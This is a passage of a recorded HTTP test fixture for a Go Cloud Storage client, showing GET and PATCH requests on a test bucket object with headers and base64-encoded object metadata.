"Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "3214" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:25:41 GMT" - ], - "Etag": [ - "CNC/3Onx/eECEAI=" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2Urh-jh9w3q8AC6TmG1NF_6JgV-Js74mV6EkB4ccrlZ1ZCQ9TlA4AhJ-J6rkqtJ9fKiy4YjT_l-TN6dQhnCwZvTUqoaJC-W-z6QQZywuQ1uX9a90PhU" - ] - }, - "Body": "eyJraW5kIjoic3RvcmFnZSNvYmplY3QiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwOS9zb21lLW9iai8xNTU2ODM1OTQwNjM4NjcyIiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDA5L28vc29tZS1vYmoiLCJuYW1lIjoic29tZS1vYmoiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDkiLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTk0MDYzODY3MiIsIm1ldGFnZW5lcmF0aW9uIjoiMiIsImNvbnRlbnRUeXBlIjoidGV4dC9wbGFpbjsgY2hhcnNldD11dGYtOCIsInRpbWVDcmVhdGVkIjoiMjAxOS0wNS0wMlQyMjoyNTo0MC42MzhaIiwidXBkYXRlZCI6IjIwMTktMDUtMDJUMjI6MjU6NDEuNTE5WiIsInN0b3JhZ2VDbGFzcyI6IlNUQU5EQVJEIiwidGltZVN0b3JhZ2VDbGFzc1VwZGF0ZWQiOiIyMDE5LTA1LTAyVDIyOjI1OjQwLjYzOFoiLCJzaXplIjoiMTYiLCJtZDVIYXNoIjoiUjhVSExIMG84ZjFlTVhVRHRyMTZLZz09IiwibWVkaWFMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vZG93bmxvYWQvc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwOS9vL3NvbWUtb2JqP2dlbmVyYXRpb249MTU1NjgzNTk0MDYzODY3MiZhbHQ9bWVkaWEiLCJhY2wiOlt7ImtpbmQiOiJzdG9yYWdlI29iamVjdEFjY2Vzc0NvbnRyb2wiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwOS9zb21lLW9iai8xNTU2ODM1OTQwNjM4NjcyL3Byb2plY3Qtb3duZXJzLTQ5NjE2OTYwMTcxNCIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwOS9vL3NvbWUtb2JqL2FjbC9wcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDkiLCJvYmplY3QiOiJzb21lLW9iaiIsImdlbmVyYXRpb24iOiIxNTU2ODM1OTQwNjM4NjcyIiwiZW50aXR5IjoicHJvamVjdC1vd25lcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6Ik9XTkVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJvd25lcnMifSwiZXRhZyI6IkNOQy8zT254L2VFQ0VBST0ifSx7ImtpbmQiOiJzdG9yYWdlI29iamVjdEFjY2Vzc0NvbnRyb2wiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwOS9zb21lLW9iai8xNTU2ODM1OTQwNjM4NjcyL3Byb2plY3QtZWRpdG9ycy00OTYxNjk2MDE3MTQiLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDkvby9zb21lLW9iai9hY2wvcHJvamVjdC1lZGl0b3JzLTQ5NjE2OTYwMTcxNCIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwOSIsIm9iamVjdCI6InNvbWUtb2JqIiwiZ2VuZXJhdGlvbiI6IjE1NTY4MzU5NDA2Mzg2NzIiLCJlbnRpdHkiOiJwcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6Ik9XTkVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJlZGl0b3JzIn0sImV0YWciOiJDTkMvM09ueC9lRUNFQUk9In0seyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDkvc29tZS1vYmovMTU1NjgzNTk0MDYzODY3Mi9wcm9qZWN0LXZpZXdlcnMtNDk2MTY5NjAxNzE0Iiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDA5L28vc29tZS1vYmovYWNsL3Byb2plY3Qtdmlld2Vycy00OTYxNjk2MDE3MTQiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDkiLCJvYmplY3QiOiJzb21lLW9iaiIsImdlbmVyYXRpb24iOiIxNTU2ODM1OTQwNjM4NjcyIiwiZW50aXR5IjoicHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsInJvbGUiOiJSRUFERVIiLCJwcm9qZWN0VGVhbSI6eyJwcm9qZWN0TnVtYmVyIjoiNDk2MTY5NjAxNzE0IiwidGVhbSI6InZpZXdlcnMifSwiZXRhZyI6IkNOQy8zT254L2VFQ0VBST0ifSx7ImtpbmQiOiJzdG9yYWdlI29iamVjdEFjY2Vzc0NvbnRyb2wiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwOS9zb21lLW9iai8xNTU2ODM1OTQwNjM4NjcyL3VzZXItYW5vdGhlci10aGluZ0BkZWtsZXJrLXNhbmRib3guaWFtLmdzZXJ2aWNlYWNjb3VudC5jb20iLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDkvby9zb21lLW9iai9hY2wvdXNlci1hbm90aGVyLXRoaW5nQGRla2xlcmstc2FuZGJveC5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwOSIsIm9iamVjdCI6InNvbWUtb2JqIiwiZ2VuZXJhdGlvbiI6IjE1NTY4MzU5NDA2Mzg2NzIiLCJlbnRpdHkiOiJ1c2VyLWFub3RoZXItdGhpbmdAZGVrbGVyay1zYW5kYm94LmlhbS5nc2VydmljZWFjY291bnQuY29tIiwicm9sZSI6Ik9XTkVSIiwiZW1haWwiOiJhbm90aGVyLXRoaW5nQGRla2xlcmstc2FuZGJveC5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSIsImV0YWciOiJDTkMvM09ueC9lRUNFQUk9In1dLCJvd25lciI6eyJlbnRpdHkiOiJ1c2VyLWFub3RoZXItdGhpbmdAZGVrbGVyay1zYW5kYm94LmlhbS5nc2VydmljZWFjY291bnQuY29tIn0sImNyYzMyYyI6IjB6R3NGUT09IiwiZXRhZyI6IkNOQy8zT254L2VFQ0VBST0iLCJ0ZW1wb3JhcnlIb2xkIjp0cnVlfQ==" - } - }, - { - "ID": "9ddea19a0c44c449", - "Request": { - "Method": "GET", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0009/o/some-obj?alt=json\u0026prettyPrint=false\u0026projection=full", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "3214" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:25:41 GMT" - ], - "Etag": [ - "CNC/3Onx/eECEAI=" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UoZVnUhVRVPu1unMjxNHQzZrlqTsVtPMZHc_YPTkvy18AAD3d_TOg9qTNAEv5NXUC5n0XF1sPedifaWR19a5w7dCMltRYfuJUfGxaMzyrvpqKbGjx4" - ] - }, - "Body": "eyJraW5kIjoic3RvcmFnZSNvYmplY3QiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwOS9zb21lLW9iai8xNTU2ODM1OTQwNjM4NjcyIiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDA5L28vc29tZS1vYmoiLCJuYW1lIjoic29tZS1vYmoiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDkiLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTk0MDYzODY3MiIsIm1ldGFnZW5lcmF0aW9uIjoiMiIsImNvbnRlbnRUeXBlIjoidGV4dC9wbGFpbjsgY2hhcnNldD11dGYtOCIsInRpbWVDcmVhdGVkIjoiMjAxOS0wNS0wMlQyMjoyNTo0MC42MzhaIiwidXBkYXRlZCI6IjIwMTktMDUtMDJUMjI6MjU6NDEuNTE5WiIsInN0b3JhZ2VDbGFzcyI6IlNUQU5EQVJEIiwidGltZVN0b3JhZ2VDbGFzc1VwZGF0ZWQiOiIyMDE5LTA1LTAyVDIyOjI1OjQwLjYzOFoiLCJzaXplIjoiMTYiLCJtZDVIYXNoIjoiUjhVSExIMG84ZjFlTVhVRHRyMTZLZz09IiwibWVkaWFMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vZG93bmxvYWQvc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwOS9vL3NvbWUtb2JqP2dlbmVyYXRpb249MTU1NjgzNTk0MDYzODY3MiZhbHQ9bWVkaWEiLCJhY2wiOlt7ImtpbmQiOiJzdG9yYWdlI29iamVjdEFjY2Vzc0NvbnRyb2wiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwOS9zb21lLW9iai8xNTU2ODM1OTQwNjM4NjcyL3Byb2plY3Qtb3duZXJzLTQ5NjE2OTYwMTcxNCIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwOS9vL3NvbWUtb2JqL2FjbC9wcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDkiLCJvYmplY3QiOiJzb21lLW9iaiIsImdlbmVyYXRpb24iOiIxNTU2ODM1OTQwNjM4NjcyIiwiZW50aXR5IjoicHJvamVjdC1vd25lcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6Ik9XTkVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJvd25lcnMifSwiZXRhZyI6IkNOQy8zT254L2VFQ0VBST0ifSx7ImtpbmQiOiJzdG9yYWdlI29iamVjdEFjY2Vzc0NvbnRyb2wiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwOS9zb21lLW9iai8xNTU2ODM1OTQwNjM4NjcyL3Byb2plY3QtZWRpdG9ycy00OTYxNjk2MDE3MTQiLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDkvby9zb21lLW9iai9hY2wvcHJvamVjdC1lZGl0b3JzLTQ5NjE2OTYwMTcxNCIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwOSIsIm9iamVjdCI6InNvbWUtb2JqIiwiZ2VuZXJhdGlvbiI6IjE1NTY4MzU5NDA2Mzg2NzIiLCJlbnRpdHkiOiJwcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6Ik9XTkVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJlZGl0b3JzIn0sImV0YWciOiJDTkMvM09ueC9lRUNFQUk9In0seyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDkvc29tZS1vYmovMTU1NjgzNTk0MDYzODY3Mi9wcm9qZWN0LXZpZXdlcnMtNDk2MTY5NjAxNzE0Iiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDA5L28vc29tZS1vYmovYWNsL3Byb2plY3Qtdmlld2Vycy00OTYxNjk2MDE3MTQiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDkiLCJvYmplY3QiOiJzb21lLW9iaiIsImdlbmVyYXRpb24iOiIxNTU2ODM1OTQwNjM4NjcyIiwiZW50aXR5IjoicHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsInJvbGUiOiJSRUFERVIiLCJwcm9qZWN0VGVhbSI6eyJwcm9qZWN0TnVtYmVyIjoiNDk2MTY5NjAxNzE0IiwidGVhbSI6InZpZXdlcnMifSwiZXRhZyI6IkNOQy8zT254L2VFQ0VBST0ifSx7ImtpbmQiOiJzdG9yYWdlI29iamVjdEFjY2Vzc0NvbnRyb2wiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwOS9zb21lLW9iai8xNTU2ODM1OTQwNjM4NjcyL3VzZXItYW5vdGhlci10aGluZ0BkZWtsZXJrLXNhbmRib3guaWFtLmdzZXJ2aWNlYWNjb3VudC5jb20iLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDkvby9zb21lLW9iai9hY2wvdXNlci1hbm90aGVyLXRoaW5nQGRla2xlcmstc2FuZGJveC5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwOSIsIm9iamVjdCI6InNvbWUtb2JqIiwiZ2VuZXJhdGlvbiI6IjE1NTY4MzU5NDA2Mzg2NzIiLCJlbnRpdHkiOiJ1c2VyLWFub3RoZXItdGhpbmdAZGVrbGVyay1zYW5kYm94LmlhbS5nc2VydmljZWFjY291bnQuY29tIiwicm9sZSI6Ik9XTkVSIiwiZW1haWwiOiJhbm90aGVyLXRoaW5nQGRla2xlcmstc2FuZGJveC5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSIsImV0YWciOiJDTkMvM09ueC9lRUNFQUk9In1dLCJvd25lciI6eyJlbnRpdHkiOiJ1c2VyLWFub3RoZXItdGhpbmdAZGVrbGVyay1zYW5kYm94LmlhbS5nc2VydmljZWFjY291bnQuY29tIn0sImNyYzMyYyI6IjB6R3NGUT09IiwiZXRhZyI6IkNOQy8zT254L2VFQ0VBST0iLCJ0ZW1wb3JhcnlIb2xkIjp0cnVlfQ==" - } - }, - { - "ID": "9b6c4955472bdb51", - "Request": { - "Method": "PATCH", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0009/o/some-obj?alt=json\u0026prettyPrint=false\u0026projection=full", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "Content-Length": [ - "82" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "application/json", - "BodyParts": [ - "eyJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDkiLCJjb250ZW50VHlwZSI6ImZvbyJ9Cg==" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "3192" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:25:42 GMT" - ], - "Etag": [ - "CNC/3Onx/eECEAM=" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UoybPBMseeVzkBPlzTObhT-eKnJ9TbsC15btCmXKMDvqgD5Uz4JclrgL9lBqMq09UjP8GL2_3zCDkfA0gJ8SHCDZbHEi1XYcuAUT7hmXazBL3IIMqc" - ] - }, - "Body": "eyJraW5kIjoic3RvcmFnZSNvYmplY3QiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwOS9zb21lLW9iai8xNTU2ODM1OTQwNjM4NjcyIiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDA5L28vc29tZS1vYmoiLCJuYW1lIjoic29tZS1vYmoiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDkiLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTk0MDYzODY3MiIsIm1ldGFnZW5lcmF0aW9uIjoiMyIsImNvbnRlbnRUeXBlIjoiZm9vIiwidGltZUNyZWF0ZWQiOiIyMDE5LTA1LTAyVDIyOjI1OjQwLjYzOFoiLCJ1cGRhdGVkIjoiMjAxOS0wNS0wMlQyMjoyNTo0Mi4xMjNaIiwic3RvcmFnZUNsYXNzIjoiU1RBTkRBUkQiLCJ0aW1lU3RvcmFnZUNsYXNzVXBkYXRlZCI6IjIwMTktMDUtMDJUMjI6MjU6NDAuNjM4WiIsInNpemUiOiIxNiIsIm1kNUhhc2giOiJSOFVITEgwbzhmMWVNWFVEdHIxNktnPT0iLCJtZWRpYUxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9kb3dubG9hZC9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDA5L28vc29tZS1vYmo/Z2VuZXJhdGlvbj0xNTU2ODM1OTQwNjM4NjcyJmFsdD1tZWRpYSIsImFjbCI6W3sia2luZCI6InN0b3JhZ2Ujb2JqZWN0QWNjZXNzQ29udHJvbCIsImlkIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDA5L3NvbWUtb2JqLzE1NTY4MzU5NDA2Mzg2NzIvcHJvamVjdC1vd25lcnMtNDk2MTY5NjAxNzE0Iiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDA5L28vc29tZS1vYmovYWNsL3Byb2plY3Qtb3duZXJzLTQ5NjE2OTYwMTcxNCIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwOSIsIm9iamVjdCI6InNvbWUtb2JqIiwiZ2VuZXJhdGlvbiI6IjE1NTY4MzU5NDA2Mzg2NzIiLCJlbnRpdHkiOiJwcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJyb2xlIjoiT1dORVIiLCJwcm9qZWN0VGVhbSI6eyJwcm9qZWN0TnVtYmVyIjoiNDk2MTY5NjAxNzE0IiwidGVhbSI6Im93bmVycyJ9LCJldGFnIjoiQ05DLzNPbngvZUVDRUFNPSJ9LHsia2luZCI6InN0b3JhZ2Ujb2JqZWN0QWNjZXNzQ29udHJvbCIsImlkIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDA5L3NvbWUtb2JqLzE1NTY4MzU5NDA2Mzg2NzIvcHJvamVjdC1lZGl0b3JzLTQ5NjE2OTYwMTcxNCIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwOS9vL3NvbWUtb2JqL2FjbC9wcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0IiwiYnVja2V0IjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDA5Iiwib2JqZWN0Ijoic29tZS1vYmoiLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTk0MDYzODY3MiIsImVudGl0eSI6InByb2plY3QtZWRpdG9ycy00OTYxNjk2MDE3MTQiLCJyb2xlIjoiT1dORVIiLCJwcm9qZWN0VGVhbSI6eyJwcm9qZWN0TnVtYmVyIjoiNDk2MTY5NjAxNzE0IiwidGVhbSI6ImVkaXRvcnMifSwiZXRhZyI6IkNOQy8zT254L2VFQ0VBTT0ifSx7ImtpbmQiOiJzdG9yYWdlI29iamVjdEFjY2Vzc0NvbnRyb2wiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwOS9zb21lLW9iai8xNTU2ODM1OTQwNjM4NjcyL3Byb2plY3Qtdmlld2Vycy00OTYxNjk2MDE3MTQiLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDkvby9zb21lLW9iai9hY2wvcHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwOSIsIm9iamVjdCI6InNvbWUtb2JqIiwiZ2VuZXJhdGlvbiI6IjE1NTY4MzU5NDA2Mzg2NzIiLCJlbnRpdHkiOiJwcm9qZWN0LXZpZXdlcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6IlJFQURFUiIsInByb2plY3RUZWFtIjp7InByb2plY3ROdW1iZXIiOiI0OTYxNjk2MDE3MTQiLCJ0ZWFtIjoidmlld2VycyJ9LCJldGFnIjoiQ05DLzNPbngvZUVDRUFNPSJ9LHsia2luZCI6InN0b3JhZ2Ujb2JqZWN0QWNjZXNzQ29udHJvbCIsImlkIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDA5L3NvbWUtb2JqLzE1NTY4MzU5NDA2Mzg2NzIvdXNlci1hbm90aGVyLXRoaW5nQGRla2xlcmstc2FuZGJveC5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwOS9vL3NvbWUtb2JqL2FjbC91c2VyLWFub3RoZXItdGhpbmdAZGVrbGVyay1zYW5kYm94LmlhbS5nc2VydmljZWFjY291bnQuY29tIiwiYnVja2V0IjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDA5Iiwib2JqZWN0Ijoic29tZS1vYmoiLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTk0MDYzODY3MiIsImVudGl0eSI6InVzZXItYW5vdGhlci10aGluZ0BkZWtsZXJrLXNhbmRib3guaWFtLmdzZXJ2aWNlYWNjb3VudC5jb20iLCJyb2xlIjoiT1dORVIiLCJlbWFpbCI6ImFub3RoZXItdGhpbmdAZGVrbGVyay1zYW5kYm94LmlhbS5nc2VydmljZWFjY291bnQuY29tIiwiZXRhZyI6IkNOQy8zT254L2VFQ0VBTT0ifV0sIm93bmVyIjp7ImVudGl0eSI6InVzZXItYW5vdGhlci10aGluZ0BkZWtsZXJrLXNhbmRib3guaWFtLmdzZXJ2aWNlYWNjb3VudC5jb20ifSwiY3JjMzJjIjoiMHpHc0ZRPT0iLCJldGFnIjoiQ05DLzNPbngvZUVDRUFNPSIsInRlbXBvcmFyeUhvbGQiOnRydWV9" - } - }, - { - "ID": "0227238a512229dc", - "Request": { - "Method": "GET", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0009/o/some-obj?alt=json\u0026prettyPrint=false\u0026projection=full", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "3192" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:25:42 GMT" - ], - "Etag": [ - "CNC/3Onx/eECEAM=" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - 